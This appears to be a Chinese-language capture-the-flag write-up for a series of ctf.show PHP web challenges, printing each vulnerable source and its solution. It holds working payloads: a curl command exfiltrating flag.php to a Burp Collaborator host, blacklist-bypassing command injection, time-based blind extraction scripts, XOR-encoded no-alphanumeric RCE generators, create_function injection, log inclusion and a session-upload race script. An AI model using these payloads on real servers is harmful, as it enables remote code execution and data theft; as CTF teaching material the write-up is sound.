最后payload?F=`$F`;+curl -X POST -F [email protected] yacpgx131i3hze08qlbkwtrh88ez2o.burpcollaborator.net
F=$F,这样就可以执行后面的内容了
利用curl将flag带出来,后面的内容是burp 带的 Burp Collaborator client生成的东西,然后就可以通过这个东西拿到flag了
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
这个又是那个extract函数
payload很骚?_POST[key1]=36d&_POST[key2]=36d
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
啊这,虽然ban了很多命令,但是可以写文件了
直接?F=`$F `;cp flag.php 2.txt
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt [//命令输出到1.txt文件中]
payload?c=ls /|tee 1
?c=cat /|tee 2
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
payloadctfshow=ctfshow::getflag
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
call_user_func()函数中的参数不仅仅可以是字符串形式,还可以是数组形式
call_user_func(array($classname, 'say_hello')); 调用classname这个类里的sya_hello方法 array[0]=$classname 类名 array[1]=say_hello say_hello()方法
payload: POST ctfshow[0]=ctfshow&ctfshow[1]=getFlag
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
用到的linux命令awk、cut用于获取某一行某一列的内容
awk 可以用来获取行,cut获取列
cat a.txt|awk NR==1|cut -c 1
payload:
爆破文件名
import requests
url = "http://cc909878-e2c5-4205-98cd-a19ef4f417a3.challenge.ctf.show:8080/"
result = ""
for i in range(1,5):
for j in range(1,15):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `ls / | awk NR=={
i} | cut -c {
j}` == {
k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "
然后得到了文件名字是f149_15_h3r3
之后爆破文件内容
import requests
url = "http://cc909878-e2c5-4205-98cd-a19ef4f417a3.challenge.ctf.show:8080/"
result = ""
for j in range(1,60):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {
j}` == {
k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "
最后是一个弱比较,根据下面盗来的表可以看到只有是0的时候“php”与其比较会是true,那么只需要f1分
构造出一个字符串,intval会把非数字字符串转化为0,就可以绕过
payloadf1=sha1&f2=sha1
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3))
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
ban了字母数字,又是无字母数字rce
生成字典
result = ''
preg = '[a-zA-Z0-9]'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)
PHP中有个特性,+ - */这些符号,可以放在字符与函数名中间,这样会warning但是可以执行,比如1+system("ls");
,但是1system("ls");
不能执行,报error
生成payload( system(“cat flag.php”) )
,?v1=1&v2=2&v3=/("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
后面是乘法,然后sleep乘出来的结果,那么只用v1是0即可
payload?v1=0
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
web141plus,多过滤了;与|,
import requests
import urllib
import re
# 生成字典
def write_rce():
result = ''
preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)
# 得到payload
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)
main()
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
对v3的长度作了限制,把payload放在v2上
payload?v1=1&v3=2&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤了双引号,那就用单引号代替
过滤了?>
和;
那就用||
来代替或者用三目运算符
payload?v1=1&v2=2&v3=?('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60'):
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
不能用三目运算符,直接用上题payload
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
对ctf进行了一个正则表达式过滤,post传参的ctf
和get传参的show
进行了组合,使用create_function()
进行代码注入
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。
string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
举例:
create_function('$fname','echo $fname."Zhang"')
类似于:
function fT($fname) {
echo $fname."Zhang";
}
举一个官方提供的例子:
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
payload:
GET ?show=;};system('grep flag flag.php');/*
POSOT ctf=%5ccreate_function
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
没ban^
,用异或脚本跑
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
看名字像是竞争,但是可以直接往index.php里写
GET ?ctf=index.php
POST: show=
然后访问index.php
1=system("cat /ctfshow_fl0g_here.txt");
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
可以用日志包含
U-A头写,
之后GET 传isVIP=1,POST传ctf=/var/log/nginx/access.log&1=system('cat flag.php');
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
把log ban了,不能日志包含了
还是session竞争
import io
import requests
import threading
url = 'http://7851b30a-aef8-4260-9fc6-6e6ec7d92527.challenge.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': ''
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={
'PHPSESSID': 'flag'}, data=data, files={
'file': ('dota.txt', f)})
def read(session):
data = {
'ctf':'/tmp/sess_flag'
}
while True:
response = session.post(url+'?isVIP=1',data=data)
if 'ctfshow' in response.text:
print(response.text)
break
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()